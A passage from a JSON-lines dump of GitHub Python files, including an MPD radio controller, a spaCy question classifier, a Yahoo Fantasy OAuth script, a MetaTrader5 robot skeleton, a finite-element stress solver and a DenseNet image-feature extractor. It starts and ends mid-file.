print(\"Write clicked\")\n\n def closeEvent(self, aEvent):\n choice = QtWidgets.QMessageBox.question(self, \"Exit\",\n \"Are you sure you want to leave?\", QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No)\n if choice == QtWidgets.QMessageBox.Yes:\n cmd = FLASH_Cmd(FLASHER_COMMAND_EXIT)\n self.backend.cmdQueue.put(cmd)\n print (\"Good Bye!!\")\n aEvent.accept()\n else:\n aEvent.ignore()\n\ndef GUI_Main():\n app = QApplication(sys.argv)\n backend = FLASH_Backend()\n GUI = OTP_Window(backend)\n GUI.show()\n backend.start()\n sys.exit(app.exec_())\n\n\n\nif __name__ == '__main__':\n GUI_Main()","repo_name":"paulkim-excelt/scorpio2","sub_path":"tools/common/one_ui/scripts/otp_gui.py","file_name":"otp_gui.py","file_ext":"py","file_size_in_byte":10514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37370142387","text":"import logging\nimport threading\n\nfrom mpd import MPDClient, ConnectionError\n\nlogger = logging.getLogger(__name__)\n\ndef autoconnect():\n def autoconnect_decorator(func):\n def func_wrapper(self, *args, **kwargs):\n self._ensure_connected()\n return func(self, *args, **kwargs)\n return func_wrapper\n return autoconnect_decorator\n\nclass Radio():\n\n def __init__(self):\n self._player = MPDClient()\n self._observers = set()\n self._event_thread = None\n self._check_events = False\n self._event_thread_lock = threading.Lock()\n\n def _connect(self):\n self._player.connect(\"localhost\", 6600)\n\n\n def _ensure_connected(self):\n try:\n self._player.ping()\n except BrokenPipeError:\n logger.warning(\"Broken pipe: Recreating client\")\n self._player = MPDClient()\n self._connect()\n except ConnectionError:\n logger.warning(\"Connection error: Reconnecting...\")\n self._connect()\n\n\n @autoconnect()\n def play_url(self, url):\n logger.info(\"Playing URL: %s\", url)\n self._player.clear()\n self._player.load(url)\n self._player.play(0)\n\n\n @autoconnect()\n def play(self):\n logger.info(\"Playing\")\n self._player.pause(0)\n\n\n @autoconnect()\n def pause(self):\n logger.info(\"Pausing\")\n self._player.pause(1)\n\n @autoconnect()\n def stop(self):\n logger.info(\"Stopping\")\n self._player.stop()\n\n\n @autoconnect()\n def set_volume(self, volume):\n if volume > 100 or volume < 0:\n raise ValueError(\"Volume must be between 0 and 100\")\n logger.info(\"Setting volume\")\n self._player.setvol(volume)\n\n\n @autoconnect()\n def get_status(self):\n logger.info(\"Get status\")\n track_status = self._player.currentsong()\n player_status = self._player.status()\n return {\n 'title': track_status.get('title'),\n 'name': track_status.get('name'),\n 'volume': player_status.get('volume'),\n 'bitrate': player_status.get('bitrate'),\n 'state': player_status.get('state')\n }\n\n\n def register_event_listener(self, event_method):\n if self._event_thread is None or (not self._event_thread.is_alive()):\n # Start thread\n self._start_event_thread()\n with self._event_thread_lock:\n self._observers.add(event_method)\n\n\n def unregister_event_listener(self, event_method):\n with self._event_thread_lock:\n self._observers.remove(event_method)\n if len(self._observers) == 0:\n self._stop_event_thread()\n\n\n def _listen_for_updates(self, logger):\n # Create radio instance for events (MPDClient is not thread safe)\n event_radio = Radio()\n while self._check_events:\n event_radio._ensure_connected()\n updates = event_radio._player.idle()\n if len(updates) > 0:\n logger.debug(\"Received update from mpd\")\n status = event_radio.get_status()\n with self._event_thread_lock:\n for observer in self._observers:\n try:\n observer(status)\n except:\n logger.warning(\"Error invoking observer\", exc_info=True)\n\n\n @autoconnect()\n def _start_event_thread(self):\n with self._event_thread_lock:\n self._check_events = True\n self._event_thread = threading.Thread(target=self._listen_for_updates, args=(logger,))\n logger.info(\"Starting event thread\")\n self._event_thread.start()\n\n\n def _stop_event_thread(self):\n with self._event_thread_lock:\n self._check_events = False\n logger.info(\"Stopping event thread\")\n self._player.noidle()\n self._event_thread.join()\n","repo_name":"mKaloer/rpi-radio-player","sub_path":"web-radio/web-radio/radio.py","file_name":"radio.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"39272069145","text":"import matplotlib.pyplot as plt\nfrom PIL import Image\n\nfrom figures.plot_config import get_plot_config\n\nfig, ax = plt.subplots(nrows=2, ncols=4, dpi=get_plot_config('dpi'), figsize=(4, 1.5))\n\npaths = [\n \"0.jpg\",\n \"1.jpg\",\n \"4.jpg\",\n \"147.jpg\",\n \"166.jpg\",\n \"197.jpg\",\n \"215.jpg\",\n \"249.jpg\",\n]\n\ndef load_and_show(ax, path, title=None):\n with Image.open(path) as im:\n ax.imshow(im)\n if title is not None:\n ax.set_title(title)\n ax.axis('off')\n\nax = ax.reshape(-1)\n\nfor i, path in enumerate(paths):\n load_and_show(ax[i], path)\n\n\n#plt.tight_layout(w_pad=1.1, h_pad=0.05)\nplt.tight_layout(pad=0.8)\nplt.savefig(\"./figure_hiddenObject.jpg\", dpi=get_plot_config('dpi'))\nplt.savefig(\"./figure_hiddenObject.pdf\", dpi=get_plot_config('dpi'))\nplt.savefig(\"./figure_hiddenObject.eps\", format=\"eps\", dpi=get_plot_config('dpi'))\n","repo_name":"MoritzWillig/causalLoss","sub_path":"figures/hiddenObjectAppendix/hiddenObjectFigure.py","file_name":"hiddenObjectFigure.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23753526561","text":"import re\nimport numpy\nimport spacy\nfrom spacy import displacy\nfrom spacy.attrs import LOWER, POS, ENT_TYPE, IS_ALPHA\nfrom spacy.symbols import nsubj, pobj, dobj, PUNCT, SPACE, NOUN, PROPN, ADJ, amod, AUX, VERB, nsubjpass\nfrom spacy.tokens import Doc\nfrom modules.boolean import Boolean\nfrom modules.count import Count\nfrom modules.description import EntityDescription\nfrom modules.x_of_y import XofY\n\n\n# Removes entity from question to parse property\n\n\nclass Classifier:\n def __init__(self):\n self.nlp = spacy.load('en_core_web_sm')\n\n def classify(self, question):\n \"\"\"\n Classifies the question to belong to one of the modules. Returns one of these module objects.\n :param question: The question to classify\n :return: The specific question module.\n \"\"\"\n for classifier in [\n self.classify_count,\n self.classify_boolean,\n self.classify_x_of_y,\n self.classify_description\n ]:\n classification = classifier(question)\n if classification is not None:\n # print('=> Classified as {}'.format(type(classification)))\n return classification\n\n return None\n\n def classify_count(self, question):\n # Return Count module if question is a count question else None.\n matches = [\"how many\", \"how much\"]\n if any(x in question.lower() for x in matches):\n entity = self.parse_entity(question)\n property = self.parse_property(question)\n return Count(question, entity, property)\n return None\n\n def classify_boolean(self, question):\n # Return Boolean module if question is a boolean question else None.\n # Question can refer to the instance of an entity, then a property is not named\n is_instance_of = re.search(\"(Is|Are) (.*) (an|a) (.*)[?]\", question)\n\n # Question can refer to a different (named) property of an entity\n is_property = re.search(\"(Is|Are) (.*) (the|an|a) (.*) (of) (.*)[?]\", question)\n if is_instance_of:\n entity = is_instance_of.group(2)\n guess = is_instance_of.group(4)\n return Boolean(question, entity, \"instance of\", guess)\n if is_property:\n guess = is_property.group(2)\n entity = is_property.group(6)\n property = is_property.group(4)\n return Boolean(question, entity, property, guess)\n return None\n\n def classify_description(self, question):\n \"\"\"\n e.g.:\n What does Y stand for?\n What does Y denote?\n What does Y mean?\n What is [the/a/an] Y?\n\n Do parse entity and look if there is no property? Or do we use regex?\n Regex might incorrectly identify a Xofy question to be a descriptive question.\n \"\"\"\n # This should handle all common description questions.\n count = sum(1 for _ in re.finditer(r'\\b%s\\b' % re.escape(\"of\"), question))\n new = re.search(\"(What|Who) (does|is)(the|an)? (.+)((stand for)|mean|denote)?[?]?\", question, re.IGNORECASE)\n if new and count == 0:\n entity = strip(new.group(4))\n return EntityDescription(question, entity)\n else:\n return None\n\n def classify_x_of_y(self, question):\n # Since this classification is used last we can simply parse property and entity\n x_of_y = re.search(\"(What is the) (.*) (of|for) (.*)[?]\", question)\n if x_of_y:\n property = x_of_y.group(2)\n entity = x_of_y.group(4)\n else:\n property = self.parse_property(question)\n entity = self.parse_entity(question)\n\n if property is None or entity is None:\n return None\n return XofY(question, entity, property)\n\n # If no entity is found from noun chunks, loop through complete tokenlist\n def backup_entity_parse(self, question):\n ent = tuple()\n for token in question:\n if (token.dep == pobj or token.dep == dobj or token.dep_ == 'compound' or token.dep == amod or token.dep ==\n nsubjpass or token.dep == nsubj) and (token.pos == NOUN or token.pos == PROPN or token.pos == ADJ):\n ent += (token,)\n if (token.dep_ == 'compound' or token.dep == amod) and token.head.dep_ != 'ROOT':\n index1 = token.i\n index2 = token.head.i\n with question.retokenize() as retokenizer:\n attrs = {\"LEMMA\": token.text + \" \" + token.head.text}\n retokenizer.merge(question[index1:index2], attrs=attrs)\n ent += (token,)\n return ent\n\n def parse_entity(self, question):\n ent = None\n parse = self.nlp(question)\n\n # Parse based on entity model\n ent = parse.ents\n\n # Catch phrases which define some entity 'first, second, third'\n ent = tuple(e for e in ent if ent[0].label_ != \"ORDINAL\")\n\n # Search for (proper) nouns with right dependency\n if not ent:\n for pn in parse.noun_chunks:\n if pn.root.dep == dobj or pn.root.dep == pobj or pn.root.dep_ == \"compound\":\n ent += (pn,)\n\n # If no entity is found check for subject dependency of noun\n if not ent:\n for pn in list(parse.noun_chunks):\n if pn.root.dep == nsubj:\n ent += (pn,)\n\n # Use backup entity parser\n if not ent:\n ent = self.backup_entity_parse(parse)\n\n # Add number to entity (if necessary) i.e. Apollo 15\n for token in list(parse):\n if token.dep_ == \"nummod\":\n ent += (token,)\n\n if not ent:\n return None\n\n # Combine elements\n ents = list(ent)\n entity = None\n if len(ents) > 0:\n entity = ''\n for e in ents:\n entity += str(e) + ' '\n\n if entity:\n stopwords = ['an', 'a', 'the', 'which', 'what', 'who', 'when']\n querywords = entity.split()\n result = [word for word in querywords if word.lower() not in stopwords]\n entity = ' '.join(result)\n\n return entity\n\n def remove_span(self, doc, index):\n nlp_list = list(doc)\n del nlp_list[index]\n return self.nlp(\" \".join([e.text for e in nlp_list]))\n\n def force_property_parse(self, question):\n properties = {\n \"language\": \"languages\",\n \"languages\": \"languages\",\n \"awards\": \"award received\"\n }\n for word in question.lower().split():\n if word in properties:\n return properties[word]\n return None\n\n def backup_property_parse(self, question):\n prop = None\n for token in question:\n if (token.dep_ == 'compound' or token.dep == amod) and token.head.dep_ != \"ROOT\" and token.head.dep_ != \\\n \"compound\" and (token.head.dep != pobj and token.head.dep != dobj):\n index1 = token.i\n index2 = token.head.i\n with question.retokenize() as retokenizer:\n attrs = {\"LEMMA\": token.text + \" \" + token.head.text}\n retokenizer.merge(question[index1:index2], attrs=attrs)\n prop = token.text\n if token.pos == NOUN and token.head.pos == AUX:\n prop = token.text\n if token.dep_ == \"ROOT\":\n if (token.pos != AUX and token.pos == VERB) or token.pos == NOUN:\n prop = token.text\n break\n if token.i + 1 >= len(question):\n break\n return prop\n\n # Parses most basic questions for now\n def parse_property(self, question):\n property = self.force_property_parse(question)\n if property:\n return property\n\n entity = self.parse_entity(question)\n parse = self.nlp(question)\n\n if entity:\n entity = entity.split()\n # Remove the entity from the question\n for ent in entity:\n entity_index = next((token.i for token in parse if token.text == ent), None)\n if entity_index is not None:\n parse = self.remove_span(parse, entity_index)\n\n filtered = [token for token in parse if not token.is_stop and token.pos is not PUNCT and token.pos is not SPACE]\n if len(filtered) == 1:\n return filtered[0].text\n elif len(filtered) > 1:\n return self.backup_property_parse(parse)\n return None\n\n\ndef strip(line):\n stopwords = {'stand', 'for', 'mean', 'the', 'an', '?', 'denote', 'stand', \" \"}\n resultwords = [word for word in re.split(\"\\W+\", line) if word.lower() not in stopwords][0]\n return resultwords\n","repo_name":"nielsRocholl/qa-system","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":8805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36118999174","text":"from requests_oauthlib import OAuth2Session\nimport json\n\ndef main():\n\twith open('config.json') as f:\n\t\tconfig = json.load(f)\n\n\tclient_id = config['api_keys']['client_id']\n\tclient_secret = config['api_keys']['client_secret']\n\tredirect_uri = 'oob'\n\n\tyahoo_oauth_url = 'https://api.login.yahoo.com/oauth2/request_auth'\n\tyahoo_oauth_get_token_url = 'https://api.login.yahoo.com/oauth2/get_token'\n\n\tleague_id = '160754'\n\tleague_key = 'nba.l.' + league_id\n\n\n\n\toauth = OAuth2Session(client_id, redirect_uri=redirect_uri)\n\tauthorization_url, state = oauth.authorization_url(yahoo_oauth_url,\n\t\taccess_type='offline',prompt='select_account')\n\n\tprint(\"Please got to this website to get the authentication code: {}\".format(authorization_url))\n\tauth_code = input(\"Type the exact code given from the website. Then press enter.\")\n\n\ttoken = oauth.fetch_token(token_url=yahoo_oauth_get_token_url,\n\t\tcode=auth_code,client_secret=client_secret)\n\n\textra = {\n\t\t'client_id' : client_id,\n\t\t'client_secret': client_secret,\n\t }\n\n\tdef token_saver(token):\n\t\toauth.token = token\n\n\n\tclient = OAuth2Session(client_id, token=token, auto_refresh_url=yahoo_oauth_get_token_url,\n\t\tauto_refresh_kwargs=extra, token_updater=token_saver\n\t )\n\n\tbase_yahoo_endpoint = 'https://fantasysports.yahooapis.com/fantasy/v2/'\n\n\tr = client.get(base_yahoo_endpoint + 'game/nba/')\n\n\tstat_category = {\n\t\t'FG%': 5,\n\t\t'FT%': 8,\n\t\t'3PTM': 10,\n\t\t'PTS': 12,\n\t\t'REB': 15,\n\t\t'AST': 16,\n\t\t'ST': 17,\n\t\t'BLK': 18,\n\t\t'TO': 19,\n\t}\n\tprint(r.content)\n\tprint('Im Done!')\n\n\n\nif __name__== \"__main__\":\n\tmain()","repo_name":"RodellRodriguez/fantasy-basketball-yahoo","sub_path":"league_standings/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"28049741616","text":"import requests\n\nurl = \"http://localhost:8000/api/detect/\"\n\npayload=\"{\\\"lang\\\": \\\"fa\\\",\\\"docType\\\": \\\"33\\\",\\\"docTitle\\\": \\\"\\\",\\\"docBody\\\": \\\"یکی نیست بگه بابا این چه وضعشه\\\",\\\"docSummary\\\": \\\"this is doc Summary\\\",\\\"docTags\\\": [\\\"tag1\\\", \\\"teg2\\\"]}\"\nheaders = {\n 'Content-Type': 'application/json'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload.encode('utf8'))\n\nprint(response.text)\n","repo_name":"meti-94/generic-inteligent-api","sub_path":"web_service/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15855751124","text":"\"\"\"\nExample simple spreader robot for MetaTrader5\nusing python API\n\"\"\"\n\nimport time\nimport logging\nfrom mt.contracts import USDJPYm\nfrom mt.instrument import Instrument\n\n\nclass Session:\n \"\"\"\n Session contains all instruments for trading and check validity\n \"\"\"\n\n def __init__(self):\n self.instruments = dict()\n\n def Instrument(self, contract):\n if contract in self.instruments:\n return self.instruments[contract]\n\n self.instruments[contract] = Instrument(contract)\n return self.instruments[contract]\n\n def is_valid(self):\n for instrument in self.instruments.values():\n if not instrument.is_valid():\n return False\n return True\n\n def update(self):\n for instrument in self.instruments.values():\n instrument.update()\n\n\nclass Robo:\n \"\"\"\n Spreader example\n \"\"\"\n\n def __init__(self, contract):\n self.contract = contract\n self.session = Session()\n self.instrument = self.session.Instrument(contract)\n self.running = False\n self.mm_bid = contract.Price()\n self.mm_bid_amount = 0.01\n self.mm_ask = contract.Price()\n self.mm_ask_amount = 0.01\n self.price_tolerance = 3\n self.position = 0 # contract.Position()\n self.buy_limit = contract.BuyLimitOrder(self.price_tolerance)\n self.sell_limit = contract.SellLimitOrder(self.price_tolerance)\n self.needs_updating = True\n self.spread = 10\n\n def update(self):\n self.session.update()\n if self.session.is_valid():\n self.mm_bid.update(self.instrument.bid).minus(points=self.spread)\n self.mm_ask.update(self.instrument.ask).add(points=self.spread)\n self.buy_limit.update(self.mm_bid.value, self.mm_bid_amount)\n self.sell_limit.update(self.mm_ask.value, self.mm_ask_amount)\n else:\n self.handle_not_valid_session()\n\n def handle_not_valid_session(self):\n print(\"handle_not_valid_session is not implemented\")\n\n def should_be_updated(self):\n self.needs_updating = True\n\n def run(self):\n self.running = True\n while self.running:\n self.update()\n time.sleep(1)\n\n def html(self):\n html_ = {\n 'spread': {'tag': 'numberic', 'type': 'int', 'min': 0, 'max': 1000, 'step': 1},\n 'name': {'type': 'string'}\n }\n return html_\n\n\nrobo = Robo(USDJPYm)\n\nrobo.run()\n","repo_name":"semenmsu/MT5","sub_path":"robo.py","file_name":"robo.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30571369059","text":"import numpy as np\nimport meshing as msh\n\nE = 73.1*10**9 #Young's modulus of alloy 2024 T4\n# E = 3.2*10**9 #Young's modulus of acrylic\nv = 0.33 # Poisson's ratio of alloy of 2024 T4\n# v = 0.37 # Poisson's ratio of acrylic\npi = np.pi\n\nR = 1 # Radius of circle\nN = 20 # number of division in r direction\ntheta = np.pi/40 # number of division in theta direction\nmps = 2*N-1 # number of mesh per anglular division \nsec = int(2*np.pi/theta) # number of angular division\nnodenum = N*sec + 1 # number of node\nmeshnum = mps*sec # number of mesh\n\np = np.zeros([2, nodenum]) # Define matrix for coordinate\nM = np.zeros([meshnum, 3]) # Define matrix for mesh\n\n\nmsh.Findcoor(p, R, N, theta) ## Find coordinate of each node\nmsh.FindIndex(M, N, theta) ## Define index for all nodes to each mesh\nM = M.astype(int)\n# msh.Mesh(p, M)\n\n## Applied force matrix\nf = -1*10**9\nF = np.zeros([2*nodenum,1])\nF[2*N+1][0] = f\n\n## Class for calculate K matrix with plane strain condition\nclass K_pstrain:\n def __init__(self, M, P, E, v):\n self.E = E\n self.v = v\n self.P = np.transpose(P)\n self.x1 = self.P[M[0]][0]\n self.y1 = self.P[M[0]][1]\n self.x2 = self.P[M[1]][0]\n self.y2 = self.P[M[1]][1]\n self.x3 = self.P[M[2]][0]\n self.y3 = self.P[M[2]][1]\n \n # Calculate B matrix\n def B(self):\n b = np.array([[self.y2 - self.y3, 0 , self.y3 - self.y1, 0 , self.y1 - self.y2, 0 ], \\\n [ 0 , self.x3 - self.x2, 0 , self.x1 - self.x3, 0 , self.x2 - self.x1], \\\n [self.x3 - self.x2, self.y2 - self.y3, self.x1 - self.x3, self.y3 - self.y1, self.x2 - self.x1, self.y1 - self.y2]])\n B = 1/(2*self.mesharea()) * b\n\n return B\n\n # Calculate D matrix\n def D(self):\n d = np.array([[1-self.v, self.v, 0 ], \\\n [ self.v , 1-self.v, 0 ], \\\n [ 0 , 0 , (1-2*self.v)/2]])\n\n D = E / (1+v) / (1-2*v) * d\n\n return D\n\n # Calculate area of mesh\n def mesharea(self):\n a = 0.5 * np.linalg.det(np.array([[1,self.x1,self.y1], [1,self.x2,self.y2], [1,self.x3,self.y3]]))\n return a\n\n # Calculate K matrix\n def K(self):\n a = self.mesharea()\n B = self.B()\n D = self.D()\n Bt = np.transpose(B)\n\n k = a * Bt.dot(D.dot(B))\n \n return k\n\n## Class for calculate K matrix with plane stress condition\nclass K_pstress(K_pstrain):\n def __init__(self, M, P, E, v):\n super().__init__(M, P, E, v)\n \n # Calculate D matrix\n def D(self):\n d = np.array([[ 1 , self.v, 0 ], \\\n [ self.v, 1 , 0 ], \\\n [ 0 , 0 , (1-self.v)/2]])\n\n D = E / (1+v) / (1-v) * d\n\n return D\n\n## Compute total stiffness of plane strain condition\ndef Ktot_pstrain(M, p, E, v):\n Ksize = 2*len(np.transpose(p))\n K = np.zeros([Ksize, Ksize])\n \n # Making stiffness matrix\n for i in range(len(M)):\n Ki = K_pstrain(M[i], p, E, v).K()\n\n for j in range(len(M[i])):\n idr = M[i][j]\n for k in range(len(M[i])):\n idc = M[i][k]\n \n K[2*idr][2*idc] += Ki[2*j][2*k]\n K[2*idr][2*idc+1] += Ki[2*j][2*k+1]\n K[2*idr+1][2*idc] += Ki[2*j+1][2*k]\n K[2*idr+1][2*idc+1] += Ki[2*j+1][2*k+1]\n\n return K\n\n## Compute total stiffness of plane stress condition\ndef Ktot_pstress(M, p, E, v):\n Ksize = 2*len(np.transpose(p))\n K = np.zeros([Ksize, Ksize])\n \n # Making stiffness matrix\n for i in range(len(M)):\n Ki = K_pstress(M[i], p, E, v).K()\n\n for j in range(len(M[i])):\n idr = M[i][j]\n for k in range(len(M[i])):\n idc = M[i][k]\n \n K[2*idr][2*idc] += Ki[2*j][2*k]\n K[2*idr][2*idc+1] += Ki[2*j][2*k+1]\n K[2*idr+1][2*idc] += Ki[2*j+1][2*k]\n K[2*idr+1][2*idc+1] += Ki[2*j+1][2*k+1]\n\n return K\n \n## Reduce dimension of K matrix\ndef Kreduce(K, N, sec):\n rk = np.delete(K, int(2*N*(sec/2 + 1) + 1), 0)\n rk = np.delete(rk, int(2*N*(sec/2 + 1) + 1), 1)\n for i in range(int(2*N*(sec/2 + 1)), int(2*(1+N*sec/2)-2), -2):\n rk = np.delete(rk,i,0)\n rk = np.delete(rk,i,1)\n for i in range(2*N, -2, -2):\n rk = np.delete(rk,i,0)\n rk = np.delete(rk,i,1)\n return rk\n\n## Reduce dimension of F matrix\ndef Freduce(F, N, sec):\n fk = np.delete(F, int(2*N*(sec/2 + 1) + 1), 0)\n for i in range(int(2*N*(sec/2 + 1)), int(2*(1+N*sec/2)-2), -2):\n fk = np.delete(fk,i,0)\n for i in range(2*N, -2, -2):\n fk = np.delete(fk,i,0)\n return fk\n\n## Calculate displacement\ndef cal_U(K, F):\n invK = np.linalg.inv(K)\n u = invK.dot(F)\n \n return u\n\n## Make the dimension of displacement equal to the dimension of original F matrix\ndef Uremake(u, N, sec):\n z = np.zeros([1,1])\n U = np.insert(u,0,z,0)\n for i in range(2, 2*N +2, 2):\n U = np.insert(U,i,z,0)\n for i in range(int(2*(1+N*sec/2)), int(2*N*(sec/2 + 1) + 2), 2):\n U = np.insert(U,i,z,0)\n U = np.insert(U, int(2*N*(sec/2 + 1) + 1), z, 0)\n \n return U\n\n## Determine coordinate of each node after deformation\ndef Deform(p, u):\n p = np.transpose(p)\n for i in range(len(p)):\n p[i][0] += u[2*i][0]\n\n # Give the floor boundary that the element posiotion cannot be lower than the floor\n if p[i][1] + u[2*i + 1][0] < -1:\n p[i][1] = -1\n else:\n p[i][1] += u[2*i + 1][0]\n\n return np.transpose(p)\n\nTK = Ktot_pstrain(M, p , E, v ) # Total stiffness matrix\nRK = Kreduce(TK, N, sec) # Reduced K matrix\nRF = Freduce(F, N, sec) # Reduced F matrix\nu = cal_U(RK, RF) # Reduced displacement matrix\nuu = Uremake(u, N, sec) # Displacement matrix\npp = Deform(p,uu) # Coordinate of all nodes after deformation\n\n## Class for calculate stress under plane strain condition\nclass CalStress:\n def __init__(self, M, p, u, E, v):\n self.E = E\n self.v = v\n self.p = p\n self.M = M\n self.u = u\n\n def pstrain(self):\n \n sig = np.zeros([len(self.M), len(self.M[0])])\n \n # Making stiffness matrix\n for i in range(len(self.M)):\n D = K_pstrain(self.M[i], self.p, self.E, self.v).D()\n B = K_pstrain(self.M[i], self.p, self.E, self.v).B()\n\n ui = np.zeros([2*len(self.M[i]), 1])\n for j in range(len(self.M[i])):\n ui[2*j] = self.u[2*self.M[i][j]]\n ui[2*j +1] = self.u[2*self.M[i][j]+1]\n\n sig[i] = np.transpose(D.dot(B.dot(ui)))\n \n return sig\n \n def pstress(self):\n \n sig = np.zeros([len(self.M), len(self.M[0])])\n \n # Making stiffness matrix\n for i in range(len(self.M)):\n D = K_pstress(self.M[i], self.p, self.E, self.v).D()\n B = K_pstress(self.M[i], self.p, self.E, self.v).B()\n\n ui = np.zeros([2*len(self.M[i]), 1])\n for j in range(len(self.M[i])):\n ui[2*j] = self.u[2*self.M[i][j]]\n ui[2*j +1] = self.u[2*self.M[i][j]+1]\n\n sig[i] = np.transpose(D.dot(B.dot(ui)))\n \n return sig\n\n def Maxpstrain(self):\n Maxsig = np.zeros([2,3])\n for i in range(3):\n sigma = np.transpose(self.pstrain())[i]\n Maxsig[0][i] = max(sigma, key=abs)\n Maxsig[1][i] = int(np.where(sigma == max(sigma, key=abs))[0][0])\n print(\"Maximum stress for plane strain condition\")\n print(\" sigma xx sigma yy sigma xy\")\n return Maxsig\n\n def Maxpstress(self):\n Maxsig = np.zeros([2,3])\n for i in range(3):\n sigma = np.transpose(self.pstress())[i]\n Maxsig[0][i] = max(sigma, key=abs)\n Maxsig[1][i] = int(np.where(sigma == max(sigma, key=abs))[0][0])\n print(\"Maximum stress for plane stress condition\")\n print(\" sigma xx sigma yy sigma xy\")\n return Maxsig\n\n## Stress matrix for all elements\nsigma1 = CalStress(M, p, uu, E, v).pstrain()\nsigma2 = CalStress(M, p, uu, E, v).pstress()\n\nsigmaXX1 = np.transpose(sigma1)[0]\nsigmaYY1 = np.transpose(sigma1)[1]\nsigmaXY1 = np.transpose(sigma1)[2]\n\nsigmaXX2 = np.transpose(sigma2)[0]\nsigmaYY2 = np.transpose(sigma2)[1]\nsigmaXY2 = np.transpose(sigma2)[2]\n\nprint(CalStress(M, p, uu, E, v).Maxpstrain())\nprint(CalStress(M, p, uu, E, v).Maxpstress())\n\nmsh.Mesh(pp, M, sigmaXX1, sigmaYY1, sigmaXY1, f, E, v)\n# msh.Mesh(pp, M, sigmaXX2, sigmaYY2, sigmaXY2, f, E, v)\n","repo_name":"TharitSinsunthorn/FEM_final","sub_path":"Final.py","file_name":"Final.py","file_ext":"py","file_size_in_byte":9043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35200627886","text":"from pkg.common.utils import log\nimport time\n\ndef process(function, componentMap, **args):\n return action_function_map[function](componentMap, **args)\n\n\ndef initialize(componentMap, **arg):\n log.info(\"Initialize something here\")\n\n\ndef produce_employee_profile(componentMap,**arg):\n log.info(\"get the employee id list here, api fetch started\")\n time.sleep(5) #simulate an api fetch call delay\n log.info(\"api fetch complete.\")\n arr=[]\n for x in range(100, 120): #simulating a db/api fetch to get list of emp ids\n arr.append(x)\n log.info(f\"Adding {str(arr)} to component map from producer\")\n componentMap[arg['listComponent']] = arr\n\n\ndef consume_vehicle_details(componentMap,**arg):\n element=componentMap['employeePipelineElement']\n log.info(f\"get the vehicle details here for the employee id {element}\")\n #Do some other api fetch with element to receive additional data\n time.sleep(3)\n\n\ndef consume_company_details(componentMap,**arg):\n element = componentMap['employeePipelineElement']\n log.info(f\"get the company details here for the employee id {element}\")\n # Do some other api fetch with element to receive additional data\n time.sleep(3)\n\n\naction_function_map = {\n 'produce_employee_profile': produce_employee_profile,\n 'consume_vehicle_details': consume_vehicle_details,\n 'consume_company_details': consume_company_details,\n 'initialize': initialize\n}","repo_name":"austinsmiles/PyRulesDemo","sub_path":"pkg/extension/producerConsumerOperations.py","file_name":"producerConsumerOperations.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4575370534","text":"import pandas as pd\nimport numpy as np\nimport os\nfrom tqdm import tqdm, tqdm_notebook\n\n\nimg_size = 256\nfrom keras.applications.densenet import preprocess_input, DenseNet121\n\ndef resize_to_square(im):\n old_size = im.shape[:2] # old_size is in (height, width) format\n ratio = float(img_size)/max(old_size)\n new_size = tuple([int(x*ratio) for x in old_size])\n # new_size should be in (width, height) format\n im = cv2.resize(im, (new_size[1], new_size[0]))\n delta_w = img_size - new_size[1]\n delta_h = img_size - new_size[0]\n top, bottom = delta_h//2, delta_h-(delta_h//2)\n left, right = delta_w//2, delta_w-(delta_w//2)\n color = [0, 0, 0]\n new_im = cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT,value=color)\n return new_im\n\ndef load_image(path,pet_id,j):\n image = cv2.imread(f'{path}{pet_id}-{j}.jpg')\n new_image = resize_to_square(image)\n new_image = preprocess_input(new_image)\n return new_image\n \nfrom keras.models import Model\nfrom keras.layers import GlobalAveragePooling2D, Input, Lambda, AveragePooling1D\nimport keras.backend as K\ninp = Input((256,256,3))\nbackbone = DenseNet121(input_tensor = inp, include_top = False)\nx = backbone.output\nx = GlobalAveragePooling2D()(x)\nx = Lambda(lambda x: K.expand_dims(x,axis = -1))(x)\nx = AveragePooling1D(4)(x)\nout = Lambda(lambda x: x[:,:,0])(x)\n\nm = Model(inp,out)\n\nfeatures = {}\n\ntrain_df = pd.read_csv('../input/train/train.csv')\npet_ids = train_df['PetID'].values\nPhotoAmts = train_df['PhotoAmt'].values.astype(np.int64)\nfor i,pet_id in enumerate(pet_ids):\n PhotoAmt = PhotoAmts[i]\n if PhotoAmt>0: \n batch_images = np.zeros((PhotoAmt,img_size,img_size,3))\n for j in range(PhotoAmt) :\n try:\n batch_images[j] = load_image(\"../input/train_images/\",pet_id,j+1)\n except:\n pass\n batch_preds = np.asarray(m.predict(batch_images))\n batch_preds = batch_preds.mean(axis=0)\n else:\n batch_preds = np.zeros((img_size))\n features[i] = batch_preds\n \n\n\ntrain_feats = pd.DataFrame.from_dict(features, orient='index')\nprint(\"train_feats.shape = \"+str(train_feats.shape) + \" before concatination\")\ntrain_feats = pd.concat([train_df, train_feats.reset_index(drop=True)], axis=1)\n\nprint(\"train_feats.shape = \"+str(train_feats.shape) + \" after concatination\")\ntrain_feats.to_csv('train_img_features.csv')\ntrain_feats.head()\n# 19 sek for creating a model 15673 - 4.5 часа\ntest_df = pd.read_csv('../input/test/test.csv')\npet_ids = test_df['PetID'].values\nPhotoAmts = 